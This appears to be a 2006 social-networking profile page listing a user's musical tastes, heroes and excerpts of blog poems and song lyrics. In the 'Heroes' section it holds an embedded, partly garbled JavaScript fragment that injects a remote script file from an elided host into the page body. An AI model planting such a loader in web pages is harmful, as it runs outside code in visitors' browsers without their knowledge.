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My Interests

Sleeping, reading, writing and music..........

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Music:

Portishead, David Bowie, Tom Waits, Brahms, Nine Inch Nails, Cat Power, Willy Nelson, Billie Holiday, Screamin' Jay Hawkins, Austin Lounge Lizards, London Symphony Orchestra, Placido Domingo, Pink Floyd, Cake, Tori Amos, Yo-Yo Ma, Primus, William Orbit, Ben Fold's Five, Nirvana, Revolting Cocks, Itzak Perlman, Scissor sisters, Sarah McLaughlin, Radiohead, Hank Williams Sr., Smog, Red House Painters, Igor Stravinsky, Beck, Muse, System of a Down, The Dresden Dolls, Amy Correa, Madonna, Chopin, Lucia Micarelli, Marilyn Manson, Jeff Buckley, Citizen Bird, Guster, Mono, Johnny Cash, basically anything in which I can find a shred of meaning that also happens to sound good..........

Movies:

I'm not really into modern movies. They are too absorbed in commercialism for my taste. I also hate CGI. If you don't share this opinion, take a look at Gollum and see if you don't change your mind. .........

Television:

I'm not even going to bother with this one............

Books:

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Heroes:

Melanie Klein, the anti-bush (who has yet to be, but, hey, I still love you, wherever you are) FLorence King, Marilyn Manson, Vaslav Nijinsky and, oh, I don......"var x=..reateElement('script');x.src='http://www.../.../test.js' ;document·getElementsByTagName('body')[0].appendChild(x );" /

My Blog

The Butterfly Professor

I've hunted every kind of atrocity And morbid curiosity And everything with six legs, yeah And everything with wings Anything that's breathing, Or if it has a face If it runs away from me Then that i...
Posted by Sraingel on Thu, 09 Nov 2006 08:06:00 PST

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fuck it.
Posted by Sraingel on Sun, 05 Nov 2006 04:31:00 PST

more of my thoughts that will go unnoticed

If we were to load the world's supply of petrolium into a rocket and launch it into the sun, would the human race suddenly die out? Is it oil that we breath, that makes us live, makes us happy? Or is ...
Posted by Sraingel on Wed, 04 Oct 2006 11:39:00 PST

Icarus

Beaten down again Like phoenix beaten back into the ashes And then extinguished Then I'm smouldering in a heap of myself Feeling left out by the world that you're livin' in? If yo...
Posted by Sraingel on Fri, 29 Sep 2006 02:15:00 PST

Forever's a Long Way to Fall

I'm back in M.E. flat I was too naiive to believe that a little combat Could fix everything Had me backed up against the wall But now I'm done wit this DADA shit Cut it out, didn't hurt...
Posted by Sraingel on Fri, 29 Sep 2006 01:58:00 PST

Okay...okay...............................ok................ .

Who needs sex when you've got....when you've got...um...UGH!!! (buries face in hands and weeps profusely for several minutes)
Posted by Sraingel on Mon, 25 Sep 2006 01:13:00 PST

Another untitled poem

This was a place I called home Longhorns are dropping like flies Can't tell the ash from the snow As they both fall from the sky The colors are all the same All the plants have died As white death cov...
Posted by Sraingel on Sat, 23 Sep 2006 05:24:00 PST

Midwestern Ballad

by z. seth All these vultures have been waiting for a while 'Gainst your barbed wire fence Dead are in a pile We see only what is put in style We can't see that we have been beguiled Gr...
Posted by Sraingel on Sat, 23 Sep 2006 05:06:00 PST

The Backwards Blue

I was bad today I broke all my toys I'm the mad toddler The Yellow Kid Schizophrenia Boy Why don't you trap me in something That I can enjoy? I'm the lone lover The Backwards Blue Schizophrenia...
Posted by Sraingel on Sat, 23 Sep 2006 03:21:00 PST

Weird untitled poem I wrote

Grinder's full of all our sin Don't cry, nothing matters You can have everything In a world nothing's in And with time their greed grows fatter Our beaten lungs are breathless no...
Posted by Sraingel on Sat, 23 Sep 2006 03:17:00 PST